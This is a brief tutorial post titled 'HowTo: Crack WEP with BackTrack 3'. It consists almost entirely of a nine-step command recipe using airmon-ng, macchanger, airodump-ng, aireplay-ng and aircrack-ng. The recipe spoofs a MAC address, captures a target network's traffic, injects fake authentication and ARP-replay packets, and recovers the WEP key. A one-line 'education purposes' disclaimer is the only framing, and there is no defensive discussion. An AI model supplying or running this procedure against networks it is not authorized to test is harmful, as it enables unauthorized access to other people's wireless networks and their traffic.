HowTo: Crack WEP with BackTrack 3

This is a tutorial on how to crack a wep encrypted password. This information should only be used for education purposes.

Steps:

  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
  8. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  9. aircrack-ng -b (bssid) (filename-01.cap)

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